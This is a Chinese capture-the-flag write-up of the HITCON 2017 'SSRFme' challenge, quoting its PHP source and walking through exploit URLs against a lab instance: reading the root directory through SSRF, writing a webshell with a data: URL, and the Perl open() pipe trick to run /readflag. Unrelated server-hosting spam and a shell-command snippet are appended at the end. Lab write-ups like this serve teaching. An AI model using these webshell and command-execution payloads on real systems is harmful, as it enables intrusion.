【HITCON 2017】SSRFme
1. 看题
代码:
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
#sandbox/786c0b7e11c1e9322763fcc8090ef181
@mkdir($sandbox);
@chdir($sandbox); #更改当前工作目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); #escapeshellarg转义危险字符
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
实现发送GET请求给当前GET参数’url‘,并将其结果保存在/sandbox/786c0b7e11c1e9322763fcc8090ef181/filename中,其中filename为传入的Get参数。
例如进行url传参:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=www.baidu.com&filename=upload/test.php
此时访问沙盒内容:
实现了将get百度后的数据内容存储。
2. 路径泄露
-
试试路径泄露,直接访问本机根目录:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/&filename=upload/test.php
此时发现flag,就在根目录中:
但是GET命令并不能读文件,此时想的是通过一个远程主机写好马,然后get完之后将马存储在test.php中,实现远程写马。但是因为没有公网ip(还是穷),而且推测get完远程主机返回的不一定是php代码而是html,所以作罢,想想其他思路。
-
这里存在一个readflag,于是测试一下访问它:
http://59c29008-ea1f-4cf4-89c9-16cb955abca7.node4.buuoj.cn:81/?url=/readflag&filename=upload/test.php
感觉是读flag的脚本,那现在需要做的就是执行它。
3. 思路一:SSRF配合伪协议
联想到之前有个题目中是file_put_contents函数使用data伪协议控制其内容,这里想通过GET后加data伪协议实现写马,payload:
http://2c421d36-abcf-46cb-9985-dc13ad0966a4.node4.buuoj.cn:81/?url=data:text/plain,''&filename=upload/test.php
至于为什么需要引号,可以在linux中测试,如果不加引号,命令行会因为<?等符号解析错误 。
此时因为写入的文件名称后缀可以是php,所以直接访问沙河中的php文件,再使用蚁剑连接。但是直接打开根目录的flag显示为空。所以在蚁剑中打开命令行,运行readflag:
4. 思路二:perl语言漏洞
这也是大部分题解中的思路,利用perl语言的漏洞:
因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并服务器托管网且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来服务器托管网执行。
先创建该文件:
?url=&filename=|/readflag
再执行命令:
?url=file:|readflag&filename=123
最后访问123文件即可。但是网上的Payload我都没成功。
5. 总结
- 对于ssrf首先还是想到伪协议
- perl语言的漏洞,管道符的利用
- 伪协议是看了网上题解都没有说的,所以“大话”最简单思路,敬请指正
服务器托管,北京服务器托管,服务器租用 http://www.fwqtg.net
机房租用,北京机房租用,IDC机房托管, http://www.fwqtg.net
shell命令概述 Shell作用:命令解释器 介于操作系统内核与用户之间,负责解释命令行 获得命令帮助 内部命令help 命令的“–help” 选项 使用man命令阅读手册页 命令行编辑的几个辅助操作 Tab键:自动补齐 反斜杠“”:强制换行 快捷键 Ct…